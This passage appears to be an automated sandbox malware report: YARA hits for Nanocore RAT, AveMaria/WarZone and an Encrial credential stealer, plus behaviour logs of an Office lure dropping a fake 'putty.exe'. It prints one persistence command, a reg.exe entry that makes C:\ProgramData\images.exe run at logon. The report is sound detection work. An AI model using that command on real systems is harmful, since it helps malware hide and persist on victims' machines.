Source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 10.2.putty.exe.3842b48.8.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.252baa4.22.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.252baa4.22.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.3f0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.37dbf76.31.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.5e0000.7.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.bf0000.11.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.2.putty.exe.3802b48.7.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.c50000.13.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.24cdfa0.21.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.d74c9f.17.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.d70000.19.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2354192632.0000000000AC0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2354334039.0000000000C60000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Author: unknown
Source: 00000022.00000002.2354257408.0000000000BF0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Author: unknown
Source: 00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.2353616508.00000000003F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000024.00000002.2300359769.0000000002491000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.2354275744.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2354246259.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2353937433.00000000005D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2354319095.0000000000C50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000024.00000002.2300423782.0000000003499000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.2354021800.0000000000800000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2355684386.0000000002502000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.2354370818.0000000000CB0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2354478955.0000000000D70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2360227304.0000000003777000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.2353950327.00000000005E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Author: unknown
Source: 00000022.00000002.2354423822.0000000000CD0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing when opening. 0 Page:l of 2 , Words:19 I 3 I N@m 13 ;a 10096 G) FI G) ,, ' I
Source: Screenshot number: 12 Screenshot OCR: Enable Editing when opening. ii: ^ f,if= a S
.NET source code contains very large strings
Source: putty[1].exe.0.dr, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: putty.exe.3.dr, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: putty.exe.6.dr, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 10.0.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 10.2.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 11.2.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 11.0.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 12.2.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 12.0.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: images.exe.13.dr, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 13.2.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 13.0.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 14.2.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Source: 14.0.putty.exe.100000.0.unpack, ValidationAndControl/frmStudentInput.cs Long String: Length: 53649
Found suspicious RTF objects
Source: abdtfhgXgdghgh.ScT Static RTF information: Object: 0 Offset: 00000961h abdtfhgXgdghgh.ScT
Microsoft Office creates scripting files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh .ScT Jump to behavior
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\putty[1].exe Jump to dropped file
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\putty.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\putty.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\ProgramData\images.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\ProgramData\images.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\reg.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\reg.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\ProgramData\images.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\ProgramData\images.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Memory allocated: 76D20000 page execute and read and write
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040EDA9 GetCurrentProcess,NtQueryInformationProcess, 13_2_0040EDA9
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040EDA9 GetCurrentProcess,NtQueryInformationProcess, 15_2_0040EDA9
Creates files inside the system directory
Source: C:\ProgramData\images.exe File created: C:\Windows\System32\rfxvmt.dll
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_0010B8B3 10_2_0010B8B3
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_0010BDE0 10_2_0010BDE0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AF450 10_2_002AF450
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A5C98 10_2_002A5C98
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002ACD28 10_2_002ACD28
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A8938 10_2_002A8938
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A7178 10_2_002A7178
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AD150 10_2_002AD150
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A6A38 10_2_002A6A38
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A0A50 10_2_002A0A50
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A7A90 10_2_002A7A90
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A5C89 10_2_002A5C89
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AD920 10_2_002AD920
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AC500 10_2_002AC500
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A75A8 10_2_002A75A8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A95B1 10_2_002A95B1
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AA9C0 10_2_002AA9C0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AA5C0 10_2_002AA5C0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A95C0 10_2_002A95C0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A5A78 10_2_002A5A78
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AA288 10_2_002AA288
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A5A88 10_2_002A5A88
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A5EF8 10_2_002A5EF8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002ABEC4 10_2_002ABEC4
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AAB30 10_2_002AAB30
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002ABF30 10_2_002ABF30
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002ADF60 10_2_002ADF60
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AA7A0 10_2_002AA7A0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002AD3C8 10_2_002AD3C8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_005A0070 10_2_005A0070
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_005A0006 10_2_005A0006
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_0010A5BD 10_2_0010A5BD
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 10_2_002A31F8 10_2_002A31F8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00400070 11_2_00400070
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0040002A 11_2_0040002A
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053F450 11_2_0053F450
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00535C98 11_2_00535C98
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053D150 11_2_0053D150
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00537178 11_2_00537178
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00538938 11_2_00538938
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053CD28 11_2_0053CD28
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00530A50 11_2_00530A50
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00536A38 11_2_00536A38
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00537A90 11_2_00537A90
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00535C89 11_2_00535C89
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053CD18 11_2_0053CD18
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053C500 11_2_0053C500
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053D920 11_2_0053D920
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053A9C0 11_2_0053A9C0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053A5C0 11_2_0053A5C0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_005395C0 11_2_005395C0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_005395B1 11_2_005395B1
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_005375A8 11_2_005375A8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00535A78 11_2_00535A78
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00535EF8 11_2_00535EF8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_00535A88 11_2_00535A88
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053A288 11_2_0053A288
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053DF60 11_2_0053DF60
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053AB30 11_2_0053AB30
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053BF30 11_2_0053BF30
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053D3C4 11_2_0053D3C4
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053D3C8 11_2_0053D3C8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0053A7A0 11_2_0053A7A0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_005331F8 11_2_005331F8
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 12_2_0010B8B3 12_2_0010B8B3
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 12_2_0010BDE0 12_2_0010BDE0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 12_2_0010A5BD 12_2_0010A5BD
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00413279 13_2_00413279
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0041DEAA 13_2_0041DEAA
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00413279 15_2_00413279
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0041DEAA 15_2_0041DEAA
Source: C:\ProgramData\images.exe Code function: 17_2_0118B8B3 17_2_0118B8B3
Source: C:\ProgramData\images.exe Code function: 17_2_0118BDE0 17_2_0118BDE0
Source: C:\ProgramData\images.exe Code function: 17_2_0035F450 17_2_0035F450
Source: C:\ProgramData\images.exe Code function: 17_2_00355C98 17_2_00355C98
Source: C:\ProgramData\images.exe Code function: 17_2_00358938 17_2_00358938
Source: C:\ProgramData\images.exe Code function: 17_2_0035CD28 17_2_0035CD28
Source: C:\ProgramData\images.exe Code function: 17_2_00357178 17_2_00357178
Source: C:\ProgramData\images.exe Code function: 17_2_0035D150 17_2_0035D150
Source: C:\ProgramData\images.exe Code function: 17_2_00356A38 17_2_00356A38
Source: C:\ProgramData\images.exe Code function: 17_2_00357A90 17_2_00357A90
Source: C:\ProgramData\images.exe Code function: 17_2_00355C89 17_2_00355C89
Source: C:\ProgramData\images.exe Code function: 17_2_0035D8FC 17_2_0035D8FC
Source: C:\ProgramData\images.exe Code function: 17_2_0035C4CC 17_2_0035C4CC
Source: C:\ProgramData\images.exe Code function: 17_2_0035B530 17_2_0035B530
Source: C:\ProgramData\images.exe Code function: 17_2_0035D920 17_2_0035D920
Source: C:\ProgramData\images.exe Code function: 17_2_0035CD18 17_2_0035CD18
Source: C:\ProgramData\images.exe Code function: 17_2_0035C500 17_2_0035C500
Source: C:\ProgramData\images.exe Code function: 17_2_0035D141 17_2_0035D141
Source: C:\ProgramData\images.exe Code function: 17_2_003595B1 17_2_003595B1
Source: C:\ProgramData\images.exe Code function: 17_2_0035A5B1 17_2_0035A5B1
Source: C:\ProgramData\images.exe Code function: 17_2_0035A9B1 17_2_0035A9B1
Source: C:\ProgramData\images.exe Code function: 17_2_0035A9C0 17_2_0035A9C0
Source: C:\ProgramData\images.exe Code function: 17_2_0035A5C0 17_2_0035A5C0
Source: C:\ProgramData\images.exe Code function: 17_2_003595C0 17_2_003595C0
Source: C:\ProgramData\images.exe Code function: 17_2_00355A78 17_2_00355A78
Source: C:\ProgramData\images.exe Code function: 17_2_0035F248 17_2_0035F248
Source: C:\ProgramData\images.exe Code function: 17_2_0035CA8C 17_2_0035CA8C
Source: C:\ProgramData\images.exe Code function: 17_2_0035A288 17_2_0035A288
Source: C:\ProgramData\images.exe Code function: 17_2_00355A88 17_2_00355A88
Source: C:\ProgramData\images.exe Code function: 17_2_00355EF8 17_2_00355EF8
Source: C:\ProgramData\images.exe Code function: 17_2_0035BEC4 17_2_0035BEC4
Source: C:\ProgramData\images.exe Code function: 17_2_0035AB30 17_2_0035AB30
Source: C:\ProgramData\images.exe Code function: 17_2_0035BF30 17_2_0035BF30
Source: C:\ProgramData\images.exe Code function: 17_2_0035DF60 17_2_0035DF60
Source: C:\ProgramData\images.exe Code function: 17_2_0035DF4F 17_2_0035DF4F
Source: C:\ProgramData\images.exe Code function: 17_2_0035A7A0 17_2_0035A7A0
Source: C:\ProgramData\images.exe Code function: 17_2_0035A790 17_2_0035A790
Source: C:\ProgramData\images.exe Code function: 17_2_0035D3C4 17_2_0035D3C4
Source: C:\ProgramData\images.exe Code function: 17_2_0035D3C8 17_2_0035D3C8
Source: C:\ProgramData\images.exe Code function: 17_2_004A0070 17_2_004A0070
Source: C:\ProgramData\images.exe Code function: 17_2_0118A5BD 17_2_0118A5BD
Source: C:\ProgramData\images.exe Code function: 17_2_00350A50 17_2_00350A50
Source: C:\ProgramData\images.exe Code function: 17_2_00350A40 17_2_00350A40
Source: C:\ProgramData\images.exe Code function: 17_2_003531F8 17_2_003531F8
Source: C:\ProgramData\images.exe Code function: 17_2_003531E8 17_2_003531E8
Source: C:\ProgramData\images.exe Code function: 21_3_042442D0 21_3_042442D0
Source: C:\ProgramData\images.exe Code function: 21_3_04281AA0 21_3_04281AA0
Source: C:\ProgramData\images.exe Code function: 21_3_04276B50 21_3_04276B50
Source: C:\ProgramData\images.exe Code function: 21_3_042404D0 21_3_042404D0
Source: C:\ProgramData\images.exe Code function: 21_3_042A25EC 21_3_042A25EC
Source: C:\ProgramData\images.exe Code function: 21_3_042645D0 21_3_042645D0
Source: C:\ProgramData\images.exe Code function: 21_3_04234660 21_3_04234660
Source: C:\ProgramData\images.exe Code function: 21_3_042456B0 21_3_042456B0
Source: C:\ProgramData\images.exe Code function: 21_3_04248720 21_3_04248720
Source: C:\ProgramData\images.exe Code function: 21_3_04249730 21_3_04249730
Source: C:\ProgramData\images.exe Code function: 21_3_04246010 21_3_04246010
Source: C:\ProgramData\images.exe Code function: 21_3_0427E170 21_3_0427E170
Source: C:\ProgramData\images.exe Code function: 21_3_042511E0 21_3_042511E0
Source: C:\ProgramData\images.exe Code function: 21_3_0429E32F 21_3_0429E32F
Source: C:\ProgramData\images.exe Code function: 21_3_04242350 21_3_04242350
Enables driver privileges
Source: C:\Windows\System32\drvinst.exe Process token adjusted: Load Driver
Found potential string decryption / allocating functions
Source: C:\ProgramData\images.exe Code function: String function: 042358A0 appears 70 times
Source: C:\ProgramData\images.exe Code function: String function: 042362B0 appears 93 times
Source: C:\ProgramData\images.exe Code function: String function: 04235680 appears 38 times
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: String function: 004036F7 appears 144 times
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: String function: 0040357C appears 62 times
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: String function: 00411E88 appears 98 times
Spawns drivers
Source: unknown Driver loaded: C:\Windows\System32\drivers\rdpdr.sys
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Yara signature match
Source: 34.2.iBCrDCK.i.exe.cb0000.15.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.cb0000.15.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.c60000.14.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.c60000.14.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.ac0000.9.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.ac0000.9.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
